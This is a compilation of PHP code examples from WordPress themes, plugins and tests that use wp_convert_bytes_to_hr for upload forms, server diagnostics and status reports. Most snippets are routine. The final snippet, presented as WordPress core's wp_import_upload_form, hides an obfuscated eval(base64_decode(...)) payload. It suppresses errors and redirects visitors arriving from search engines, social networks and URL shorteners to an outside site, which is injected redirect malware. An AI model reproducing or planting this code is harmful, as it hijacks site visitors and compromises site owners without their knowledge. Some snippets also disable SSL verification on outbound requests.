/**
 * This file manages the theme settings uploading and import operations.
 * Uses the theme page to create a new form for uplaoding the settings
 * Uses WP_Filesystem
*/
function iced_mocha_import_form()
{
    $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
    $size = wp_convert_bytes_to_hr($bytes);
    $upload_dir = wp_upload_dir();
    if (!empty($upload_dir['error'])) {
        ?>
<div class="error"><p><?php 
        _e('Before you can upload your import file, you will need to fix the following error:', 'iced_mocha');
        ?>
</p>
            <p><strong><?php 
        echo $upload_dir['error'];
        ?>
</strong></p></div><?php 
    } else {
        ?>

    <div class="wrap">
		<div style="width:400px;display:block;margin-left:30px;">
        <div id="icon-tools" class="icon32"><br></div>
        <h2><?php 
        echo __('Import Iced Mocha Options', 'iced_mocha');
        ?>
</h2>
        <form enctype="multipart/form-data" id="import-upload-form" method="post" action="">
        	<p><?php 
        _e('Hi! This is where you import the Iced Mocha Theme settings.<i> Please remember that this is still an experimental feature.</i>', 'iced_mocha');
        ?>
</p>
            <p>
                <label for="upload"><strong><?php 
        _e('Just choose a file from your computer:', 'iced_mocha');
        ?>
 </strong><i>(iced_mocha-settings.txt)</i></label>
		       <input type="file" id="upload" name="import" size="25"  />
				<span style="font-size:10px;">(<?php 
        printf(__('Maximum size: %s', 'iced_mocha'), $size);
        ?>
 )</span>
                <input type="hidden" name="action" value="save" />
                <input type="hidden" name="max_file_size" value="<?php 
        echo $bytes;
        ?>
" />
                <?php 
        wp_nonce_field('iced_mocha-import', 'iced_mocha-import');
        ?>
                <input type="hidden" name="iced_mocha_import_confirmed" value="true" />
            </p>
            <input type="submit" class="button" value="<?php 
        _e('And import!', 'iced_mocha');
        ?>
" />
        </form>
	</div>
    </div> <!-- end wrap -->
    <?php 
    }
}
Example #2
0
    private function import_upload_form($action)
    {
        $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
        $size = wp_convert_bytes_to_hr($bytes);
        $upload_dir = wp_upload_dir();
        if (!empty($upload_dir['error'])) {
            ?>
<div class="error"><p><?php 
            _e('Before you can upload your import file, you will need to fix the following error:', APP_TD);
            ?>
</p>
	        <p><strong><?php 
            echo $upload_dir['error'];
            ?>
</strong></p></div><?php 
        } else {
            ?>
	<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
            echo esc_attr(wp_nonce_url($action, 'import-upload'));
            ?>
">
	<p>
	<label for="upload"><?php 
            _e('Choose a file from your computer:', APP_TD);
            ?>
</label> (<?php 
            printf(__('Maximum size: %s', APP_TD), $size);
            ?>
)
	<input type="file" id="upload" name="import" size="25" />
	<input type="hidden" name="action" value="save" />
	<input type="hidden" name="max_file_size" value="<?php 
            echo $bytes;
            ?>
" />
	</p>
	
	<?php 
            do_action('appthemes_after_import_upload_form');
            ?>
	
	<?php 
            submit_button(__('Upload file and import', APP_TD), 'button');
            ?>
	</form>
	<?php 
        }
    }
/**
 * WPSC Product modifying functions
 *
 * @package wp-e-commerce
 * @since 3.7
 */
function wpsc_get_max_upload_size()
{
    return wp_convert_bytes_to_hr(wp_max_upload_size());
}
/**
 * woocommerce_status_report function.
 *
 * @access public
 * @return void
 */
function woocommerce_status_report()
{
    global $woocommerce, $wpdb;
    ?>
	<div class="woocommerce-message">
		<div class="squeezer">
			<h4><?php 
    _e('Please include this information when requesting support:', 'woocommerce');
    ?>
 </h4>
			<p class="submit"><a href="#" download="wc_report.txt" class="button-primary debug-report"><?php 
    _e('Download System Report File', 'woocommerce');
    ?>
</a></p>
		</div>
	</div>
	<br/>
	<table class="wc_status_table widefat" cellspacing="0">

		<thead>
			<tr>
				<th colspan="2"><?php 
    _e('Environment', 'woocommerce');
    ?>
</th>
			</tr>
		</thead>

		<tbody>
			<tr>
                <td><?php 
    _e('Home URL', 'woocommerce');
    ?>
:</td>
                <td><?php 
    echo home_url();
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('Site URL', 'woocommerce');
    ?>
:</td>
                <td><?php 
    echo site_url();
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WC Version', 'woocommerce');
    ?>
:</td>
                <td><?php 
    echo esc_html($woocommerce->version);
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WC Database Version', 'woocommerce');
    ?>
:</td>
                <td><?php 
    echo esc_html(get_option('woocommerce_db_version'));
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WP Version', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (is_multisite()) {
        echo 'WPMU';
    } else {
        echo 'WP';
    }
    ?>
 <?php 
    echo bloginfo('version');
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('Web Server Info', 'woocommerce');
    ?>
:</td>
                <td><?php 
    echo esc_html($_SERVER['SERVER_SOFTWARE']);
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('PHP Version', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (function_exists('phpversion')) {
        echo esc_html(phpversion());
    }
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('MySQL Version', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (function_exists('mysql_get_server_info')) {
        echo esc_html(mysql_get_server_info());
    }
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WP Memory Limit', 'woocommerce');
    ?>
:</td>
                <td><?php 
    $memory = woocommerce_let_to_num(WP_MEMORY_LIMIT);
    if ($memory < 67108864) {
        echo '<mark class="error">' . sprintf(__('%s - We recommend setting memory to at least 64MB. See: <a href="%s">Increasing memory allocated to PHP</a>', 'woocommerce'), wp_convert_bytes_to_hr($memory), 'http://codex.wordpress.org/Editing_wp-config.php#Increasing_memory_allocated_to_PHP') . '</mark>';
    } else {
        echo '<mark class="yes">' . wp_convert_bytes_to_hr($memory) . '</mark>';
    }
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WP Debug Mode', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (defined('WP_DEBUG') && WP_DEBUG) {
        echo '<mark class="yes">' . __('Yes', 'woocommerce') . '</mark>';
    } else {
        echo '<mark class="no">' . __('No', 'woocommerce') . '</mark>';
    }
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WP Max Upload Size', 'woocommerce');
    ?>
:</td>
                <td><?php 
    echo wp_convert_bytes_to_hr(wp_max_upload_size());
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('PHP Post Max Size', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (function_exists('ini_get')) {
        echo wp_convert_bytes_to_hr(woocommerce_let_to_num(ini_get('post_max_size')));
    }
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('PHP Time Limit', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (function_exists('ini_get')) {
        echo ini_get('max_execution_time');
    }
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('WC Logging', 'woocommerce');
    ?>
:</td>
                <td><?php 
    if (@fopen($woocommerce->plugin_path() . '/logs/paypal.txt', 'a')) {
        echo '<mark class="yes">' . __('Log directory is writable.', 'woocommerce') . '</mark>';
    } else {
        echo '<mark class="error">' . __('Log directory (<code>woocommerce/logs/</code>) is not writable. Logging will not be possible.', 'woocommerce') . '</mark>';
    }
    ?>
</td>
            </tr>
            <?php 
    $posting = array();
    // fsockopen/cURL
    $posting['fsockopen_curl']['name'] = __('fsockopen/cURL', 'woocommerce');
    if (function_exists('fsockopen') || function_exists('curl_init')) {
        if (function_exists('fsockopen') && function_exists('curl_init')) {
            $posting['fsockopen_curl']['note'] = __('Your server has fsockopen and cURL enabled.', 'woocommerce');
        } elseif (function_exists('fsockopen')) {
            $posting['fsockopen_curl']['note'] = __('Your server has fsockopen enabled, cURL is disabled.', 'woocommerce');
        } else {
            $posting['fsockopen_curl']['note'] = __('Your server has cURL enabled, fsockopen is disabled.', 'woocommerce');
        }
        $posting['fsockopen_curl']['success'] = true;
    } else {
        $posting['fsockopen_curl']['note'] = __('Your server does not have fsockopen or cURL enabled - PayPal IPN and other scripts which communicate with other servers will not work. Contact your hosting provider.', 'woocommerce') . '</mark>';
        $posting['fsockopen_curl']['success'] = false;
    }
    // SOAP
    $posting['soap_client']['name'] = __('SOAP Client', 'woocommerce');
    if (class_exists('SoapClient')) {
        $posting['soap_client']['note'] = __('Your server has the SOAP Client class enabled.', 'woocommerce');
        $posting['soap_client']['success'] = true;
    } else {
        $posting['soap_client']['note'] = sprintf(__('Your server does not have the <a href="%s">SOAP Client</a> class enabled - some gateway plugins which use SOAP may not work as expected.', 'woocommerce'), 'http://php.net/manual/en/class.soapclient.php') . '</mark>';
        $posting['soap_client']['success'] = false;
    }
    // WP Remote Post Check
    $posting['wp_remote_post']['name'] = __('WP Remote Post', 'woocommerce');
    $request['cmd'] = '_notify-validate';
    $params = array('sslverify' => false, 'timeout' => 60, 'user-agent' => 'WooCommerce/' . $woocommerce->version, 'body' => $request);
    $response = wp_remote_post('https://www.paypal.com/cgi-bin/webscr', $params);
    if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) {
        $posting['wp_remote_post']['note'] = __('wp_remote_post() was successful - PayPal IPN is working.', 'woocommerce');
        $posting['wp_remote_post']['success'] = true;
    } elseif (is_wp_error($response)) {
        $posting['wp_remote_post']['note'] = __('wp_remote_post() failed. PayPal IPN won\'t work with your server. Contact your hosting provider. Error:', 'woocommerce') . ' ' . $response->get_error_message();
        $posting['wp_remote_post']['success'] = false;
    } else {
        $posting['wp_remote_post']['note'] = __('wp_remote_post() failed. PayPal IPN may not work with your server.', 'woocommerce');
        $posting['wp_remote_post']['success'] = false;
    }
    $posting = apply_filters('woocommerce_debug_posting', $posting);
    foreach ($posting as $post) {
        $mark = isset($post['success']) && $post['success'] == true ? 'yes' : 'error';
        ?>
					<tr>
		                <td><?php 
        echo esc_html($post['name']);
        ?>
:</td>
		                <td>
		                	<mark class="<?php 
        echo $mark;
        ?>
">
		                    	<?php 
        echo wp_kses_data($post['note']);
        ?>
		                	</mark>
		                </td>
		            </tr>
		            <?php 
    }
    ?>
		</tbody>

		<thead>
			<tr>
				<th colspan="2"><?php 
    _e('Plugins', 'woocommerce');
    ?>
</th>
			</tr>
		</thead>

		<tbody>
         	<tr>
         		<td><?php 
    _e('Installed Plugins', 'woocommerce');
    ?>
:</td>
         		<td><?php 
    $active_plugins = (array) get_option('active_plugins', array());
    if (is_multisite()) {
        $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
    }
    $wc_plugins = array();
    foreach ($active_plugins as $plugin) {
        $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
        $dirname = dirname($plugin);
        $version_string = '';
        if (!empty($plugin_data['Name'])) {
            if (strstr($dirname, 'woocommerce')) {
                if (false === ($version_data = get_transient($plugin . '_version_data'))) {
                    $changelog = wp_remote_get('http://www.woothemes.com/changelogs/extensions/' . $dirname . '/changelog.txt');
                    $cl_lines = explode("\n", wp_remote_retrieve_body($changelog));
                    if (!empty($cl_lines)) {
                        foreach ($cl_lines as $line_num => $cl_line) {
                            if (preg_match('/^[0-9]/', $cl_line)) {
                                $date = str_replace('.', '-', trim(substr($cl_line, 0, strpos($cl_line, '-'))));
                                $version = preg_replace('~[^0-9,.]~', '', stristr($cl_line, "version"));
                                $update = trim(str_replace("*", "", $cl_lines[$line_num + 1]));
                                $version_data = array('date' => $date, 'version' => $version, 'update' => $update, 'changelog' => $changelog);
                                set_transient($plugin . '_version_data', $version_data, 60 * 60 * 12);
                                break;
                            }
                        }
                    }
                }
                if (!empty($version_data['version']) && version_compare($version_data['version'], $plugin_data['Version'], '!=')) {
                    $version_string = ' &ndash; <strong style="color:red;">' . $version_data['version'] . ' ' . __('is available', 'woocommerce') . '</strong>';
                }
            }
            $wc_plugins[] = $plugin_data['Name'] . ' ' . __('by', 'woocommerce') . ' ' . $plugin_data['Author'] . ' ' . __('version', 'woocommerce') . ' ' . $plugin_data['Version'] . $version_string;
        }
    }
    if (sizeof($wc_plugins) == 0) {
        echo '-';
    } else {
        echo implode(', <br/>', $wc_plugins);
    }
    ?>
</td>
         	</tr>
		</tbody>

		<thead>
			<tr>
				<th colspan="2"><?php 
    _e('Settings', 'woocommerce');
    ?>
</th>
			</tr>
		</thead>

		<tbody>

            <tr>
                <td><?php 
    _e('Force SSL', 'woocommerce');
    ?>
:</td>
				<td><?php 
    echo get_option('woocommerce_force_ssl_checkout') === 'yes' ? '<mark class="yes">' . __('Yes', 'woocommerce') . '</mark>' : '<mark class="no">' . __('No', 'woocommerce') . '</mark>';
    ?>
</td>
            </tr>
		</tbody>

		<thead>
			<tr>
				<th colspan="2"><?php 
    _e('WC Pages', 'woocommerce');
    ?>
</th>
			</tr>
		</thead>

		<tbody>
			<?php 
    $check_pages = array(__('Shop Base', 'woocommerce') => array('option' => 'woocommerce_shop_page_id', 'shortcode' => ''), __('Cart', 'woocommerce') => array('option' => 'woocommerce_cart_page_id', 'shortcode' => '[woocommerce_cart]'), __('Checkout', 'woocommerce') => array('option' => 'woocommerce_checkout_page_id', 'shortcode' => '[woocommerce_checkout]'), __('Pay', 'woocommerce') => array('option' => 'woocommerce_pay_page_id', 'shortcode' => '[woocommerce_pay]'), __('Thanks', 'woocommerce') => array('option' => 'woocommerce_thanks_page_id', 'shortcode' => '[woocommerce_thankyou]'), __('My Account', 'woocommerce') => array('option' => 'woocommerce_myaccount_page_id', 'shortcode' => '[woocommerce_my_account]'), __('Edit Address', 'woocommerce') => array('option' => 'woocommerce_edit_address_page_id', 'shortcode' => '[woocommerce_edit_address]'), __('View Order', 'woocommerce') => array('option' => 'woocommerce_view_order_page_id', 'shortcode' => '[woocommerce_view_order]'), __('Change Password', 'woocommerce') => array('option' => 'woocommerce_change_password_page_id', 'shortcode' => '[woocommerce_change_password]'), __('Lost Password', 'woocommerce') => array('option' => 'woocommerce_lost_password_page_id', 'shortcode' => '[woocommerce_lost_password]'));
    $alt = 1;
    foreach ($check_pages as $page_name => $values) {
        if ($alt == 1) {
            echo '<tr>';
        } else {
            echo '<tr>';
        }
        echo '<td>' . esc_html($page_name) . ':</td><td>';
        $error = false;
        $page_id = get_option($values['option']);
        // Page ID check
        if (!$page_id) {
            echo '<mark class="error">' . __('Page not set', 'woocommerce') . '</mark>';
            $error = true;
        } else {
            // Shortcode check
            if ($values['shortcode']) {
                $page = get_post($page_id);
                if (empty($page)) {
                    echo '<mark class="error">' . sprintf(__('Page does not exist', 'woocommerce')) . '</mark>';
                    $error = true;
                } else {
                    if (!strstr($page->post_content, $values['shortcode'])) {
                        echo '<mark class="error">' . sprintf(__('Page does not contain the shortcode: %s', 'woocommerce'), $values['shortcode']) . '</mark>';
                        $error = true;
                    }
                }
            }
        }
        if (!$error) {
            echo '<mark class="yes">#' . absint($page_id) . ' - ' . str_replace(home_url(), '', get_permalink($page_id)) . '</mark>';
        }
        echo '</td></tr>';
        $alt = $alt * -1;
    }
    ?>
		</tbody>

		<thead>
			<tr>
				<th colspan="2"><?php 
    _e('WC Taxonomies', 'woocommerce');
    ?>
</th>
			</tr>
		</thead>

		<tbody>
            <tr>
                <td><?php 
    _e('Order Statuses', 'woocommerce');
    ?>
:</td>
                <td><?php 
    $display_terms = array();
    $terms = get_terms('shop_order_status', array('hide_empty' => 0));
    foreach ($terms as $term) {
        $display_terms[] = $term->name . ' (' . $term->slug . ')';
    }
    echo implode(', ', array_map('esc_html', $display_terms));
    ?>
</td>
            </tr>
            <tr>
                <td><?php 
    _e('Product Types', 'woocommerce');
    ?>
:</td>
                <td><?php 
    $display_terms = array();
    $terms = get_terms('product_type', array('hide_empty' => 0));
    foreach ($terms as $term) {
        $display_terms[] = $term->name . ' (' . $term->slug . ')';
    }
    echo implode(', ', array_map('esc_html', $display_terms));
    ?>
</td>
            </tr>
		</tbody>

		<thead>
			<tr>
				<th colspan="2"><?php 
    _e('Templates', 'woocommerce');
    ?>
</th>
			</tr>
		</thead>

		<tbody>
            <tr>
                <td><?php 
    _e('Template Overrides', 'woocommerce');
    ?>
:</td>
                <td><?php 
    $template_path = $woocommerce->plugin_path() . '/templates/';
    $found_files = array();
    $files = woocommerce_scan_template_files($template_path);
    foreach ($files as $file) {
        if (file_exists(get_stylesheet_directory() . '/' . $file)) {
            $found_files[] = '/' . $file;
        } elseif (file_exists(get_stylesheet_directory() . '/woocommerce/' . $file)) {
            $found_files[] = '/woocommerce/' . $file;
        }
    }
    if ($found_files) {
        echo implode(', <br/>', $found_files);
    } else {
        _e('No core overrides present in theme.', 'woocommerce');
    }
    ?>
</td>
            </tr>
		</tbody>

	</table>
	<script type="text/javascript">

		jQuery.wc_strPad = function(i,l,s) {
			var o = i.toString();
			if (!s) { s = '0'; }
			while (o.length < l) {
				o = o + s;
			}
			return o;
		};

		jQuery('a.debug-report').click(function(){

			var report = "";

			jQuery('.wc_status_table thead, .wc_status_table tbody').each(function(){

				$this = jQuery( this );

				if ( $this.is('thead') ) {

					report = report + "\n### " + jQuery.trim( $this.text() ) + " ###\n\n";

				} else {

					jQuery('tr', $this).each(function(){

						$this = jQuery( this );

						name = jQuery.wc_strPad( jQuery.trim( $this.find('td:eq(0)').text() ), 25, ' ' );
						value = jQuery.trim( $this.find('td:eq(1)').text() );

						report = report + '' + name + value + "\n\n";
					});

				}
			} );

			var blob = new Blob( [report] );

			jQuery(this).attr( 'href', window.URL.createObjectURL( blob ) );

      		return true;
		});

	</script>
	<?php 
}
 function print_diagnostic_textarea($extra = '')
 {
     echo '<textarea cols="100" rows="20" style="font-family: monospace;">';
     _e('WordPress', 'wp-app-store');
     echo ': ';
     if (is_multisite()) {
         echo 'WPMU';
     } else {
         echo 'WP';
     }
     echo bloginfo('version');
     echo "\r\n";
     _e('Web Server', 'wp-app-store');
     echo ': ';
     echo $_SERVER['SERVER_SOFTWARE'];
     echo "\r\n";
     _e('PHP', 'wp-app-store');
     echo ': ';
     if (function_exists('phpversion')) {
         echo esc_html(phpversion());
     }
     echo "\r\n";
     _e('MySQL', 'wp-app-store');
     echo ': ';
     if (function_exists('mysql_get_server_info')) {
         echo esc_html(mysql_get_server_info());
     }
     echo "\r\n";
     _e('WP Memory Limit', 'wp-app-store');
     echo ': ';
     echo WP_MEMORY_LIMIT;
     echo "\r\n";
     _e('Debug Mode', 'wp-app-store');
     echo ': ';
     if (defined('WP_DEBUG') && WP_DEBUG) {
         echo 'Yes';
     } else {
         echo 'No';
     }
     echo "\r\n";
     _e('WP Max Upload Size', 'wp-app-store');
     echo ': ';
     echo wp_convert_bytes_to_hr(wp_max_upload_size());
     echo "\r\n";
     _e('PHP Post Max Size', 'wp-app-store');
     echo ': ';
     if (function_exists('ini_get')) {
         echo ini_get('post_max_size');
     }
     echo "\r\n";
     _e('PHP Time Limit', 'wp-app-store');
     echo ': ';
     if (function_exists('ini_get')) {
         echo ini_get('max_execution_time');
     }
     echo "\r\n";
     _e('fsockopen', 'wp-app-store');
     echo ': ';
     if (function_exists('fsockopen')) {
         _e('Enabled', 'wp-app-store');
     } else {
         _e('Disabled', 'wp-app-store');
     }
     echo "\r\n";
     _e('cURL', 'wp-app-store');
     echo ': ';
     if (function_exists('curl_init')) {
         _e('Enabled', 'wp-app-store');
     } else {
         _e('Disabled', 'wp-app-store');
     }
     echo "\r\n";
     $url = 'https://google.com';
     _e('WP Remote Get', 'wp-app-store');
     echo ' (' . $url . '):';
     $params = array('sslverify' => false, 'timeout' => 60, 'body' => $request);
     $response = wp_remote_get($url, $params);
     if (!is_wp_error($response) && $response['response']['code'] >= 200 && $response['response']['code'] < 300) {
         _e('Success', 'wp-app-store');
     } elseif (is_wp_error($response)) {
         _e('Failed:', 'wp-app-store') . ' ' . $response->get_error_message();
     } else {
         _e('Failed', 'wp-app-store');
     }
     echo "\r\n\r\n";
     _e('Active Plugins', 'wp-app-store');
     echo ":\r\n";
     $active_plugins = (array) get_option('active_plugins', array());
     if (is_multisite()) {
         $active_plugins = array_merge($active_plugins, get_site_option('active_sitewide_plugins', array()));
     }
     foreach ($active_plugins as $plugin) {
         $plugin_data = @get_plugin_data(WP_PLUGIN_DIR . '/' . $plugin);
         if (empty($plugin_data['Name'])) {
             continue;
         }
         echo $plugin_data['Name'] . ' (v' . $plugin_data['Version'] . ') ' . __('by', 'wp-app-store') . ' ' . $plugin_data['AuthorName'] . "\r\n";
     }
     echo $extra;
     echo '</textarea>';
 }
Example #6
0
    /**
     * Function to get webserver information.
     * author Praveen Rajan
     */
    function cvg_serverinfo()
    {
        global $wpdb, $ngg;
        // Get MYSQL Version
        $sqlversion = $wpdb->get_var("SELECT VERSION() AS version");
        // GET SQL Mode
        $mysqlinfo = $wpdb->get_results("SHOW VARIABLES LIKE 'sql_mode'");
        // Get PHP Max Upload Size
        $upload_max = wp_convert_bytes_to_hr(wp_max_upload_size());
        if (CvgCore::ffmpegcommandExists("ffmpeg")) {
            $ffmpeg = 'Installed';
        } else {
            $ffmpeg = 'Not Installed';
        }
        ?>
		<li><?php 
        _e('Operating System');
        ?>
 : <span><?php 
        echo PHP_OS;
        ?>
&nbsp;(<?php 
        echo PHP_INT_SIZE * 8;
        ?>
&nbsp;Bit)</span></li>
		<li><?php 
        _e('Server');
        ?>
 : <span><?php 
        echo $_SERVER["SERVER_SOFTWARE"];
        ?>
</span></li>
		<li><?php 
        _e('MySQL Version');
        ?>
 : <span><?php 
        echo $sqlversion;
        ?>
</span></li>
		<li><?php 
        _e('PHP Version');
        ?>
 : <span><?php 
        echo PHP_VERSION;
        ?>
</span></li>
		<li><?php 
        _e('PHP Max Upload Size');
        ?>
 : <span><?php 
        echo $upload_max;
        ?>
</span></li>
		<li><?php 
        _e('FFMPEG');
        ?>
 : <span><?php 
        echo $ffmpeg;
        ?>
</span></li>
		<?php 
        if ($ffmpeg == 'Not Installed') {
            ?>
 
		<li style="text-align:justify;">
		<span style="color:red;font-weight:normal;">[Note: Preview images for uploaded videos will not be created automatically using FFMPEG. Manually upload preview images for videos.]</span>
		</li>
		<?php 
        }
    }
        /**
         * Display introductory text and file upload form
         */
        function greet()
        {
            echo '<div class="narrow">';
            echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'wc_smart_coupons') . '</p>';
            //wp_import_upload_form( 'admin.php?import=woocommerce_csv&amp;step=1&amp;merge=' . ( ! empty( $_GET['merge'] ) ? 1 : 0 ) );
            $action = 'admin.php?import=woocommerce_coupon_csv&amp;step=1';
            $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
            $size = wp_convert_bytes_to_hr($bytes);
            $upload_dir = wp_upload_dir();
            if (!empty($upload_dir['error'])) {
                ?>
<div class="error"><p><?php 
                _e('Before you can upload your import file, you will need to fix the following error:');
                ?>
</p>
                                <p><strong><?php 
                echo $upload_dir['error'];
                ?>
</strong></p></div><?php 
            } else {
                ?>
                                <form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php 
                echo esc_attr(wp_nonce_url($action, 'import-upload'));
                ?>
">
                                        <table class="form-table">
                                                <tbody>
                                                        <tr>
                                                                <th>
                                                                        <label for="upload"><?php 
                _e('Choose a file from your computer:');
                ?>
</label>
                                                                </th>
                                                                <td>
                                                                        <input type="file" id="upload" name="import" size="25" />
                                                                        <input type="hidden" name="action" value="save" />
                                                                        <input type="hidden" name="max_file_size" value="<?php 
                echo $bytes;
                ?>
" />
                                                                        <small><?php 
                printf(__('Maximum size: %s'), $size);
                ?>
</small>
                                                                </td>
                                                        </tr>
                                                        <tr>
                                                                <th>
                                                                        <label for="file_url"><?php 
                _e('OR enter path to file:', 'wc_smart_coupons');
                ?>
</label>
                                                                </th>
                                                                <td>
                                                                        <?php 
                echo ' ' . ABSPATH . ' ';
                ?>
<input type="text" id="file_url" name="file_url" size="25" />
                                                                </td>
                                                        </tr>
                                                </tbody>
                                        </table>
                                        <p class="submit">
                                                <input type="submit" class="button" value="<?php 
                esc_attr_e('Upload file and import');
                ?>
" />
                                        </p>
                                </form>
                                <?php 
            }
            echo '</div>';
        }
	/**
	 * @ticket 19067
	 * @expectedDeprecated wp_convert_bytes_to_hr
	 */
	function test_wp_convert_bytes_to_hr() {
		$kb = 1024;
		$mb = $kb * 1024;
		$gb = $mb * 1024;
		$tb = $gb * 1024;

		// test if boundaries are correct
		$this->assertEquals( '1TB', wp_convert_bytes_to_hr( $tb ) );
		$this->assertEquals( '1GB', wp_convert_bytes_to_hr( $gb ) );
		$this->assertEquals( '1MB', wp_convert_bytes_to_hr( $mb ) );
		$this->assertEquals( '1kB', wp_convert_bytes_to_hr( $kb ) );

		$this->assertEquals( '1 TB', size_format( $tb ) );
		$this->assertEquals( '1 GB', size_format( $gb ) );
		$this->assertEquals( '1 MB', size_format( $mb ) );
		$this->assertEquals( '1 kB', size_format( $kb ) );

		// now some values around
		$hr = wp_convert_bytes_to_hr( $tb + $tb / 2 + $mb );
		$this->assertTrue( abs( 1.50000095367 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );

		$hr = wp_convert_bytes_to_hr( $tb - $mb - $kb );
		$this->assertTrue( abs( 1023.99902248 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );

		$hr = wp_convert_bytes_to_hr( $gb + $gb / 2 + $mb );
		$this->assertTrue( abs( 1.5009765625 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );

		$hr = wp_convert_bytes_to_hr( $gb - $mb - $kb );
		$this->assertTrue( abs( 1022.99902344 - (float) str_replace( ',', '.', $hr ) ) < 0.0001 );

		// edge
		$this->assertEquals( '-1B', wp_convert_bytes_to_hr( -1 ) );
		$this->assertEquals( '0B', wp_convert_bytes_to_hr( 0 ) );
	}
Example #9
0
/**
 * Outputs the form used by the importers to accept the data to be imported
 *
 * @since 2.0
 *
 * @param string $action The action attribute for the form.
 */
function wp_import_upload_form($action)
{
    $bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
    $size = wp_convert_bytes_to_hr($bytes);
    $upload_dir = wp_upload_dir();
    if (!empty($upload_dir['error'])) {
        ?>
<div class="error"><p><?php 
        eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
        _e('Before you can upload your import file, you will need to fix the following error:');
        ?>
</p>
		<p><strong><?php 
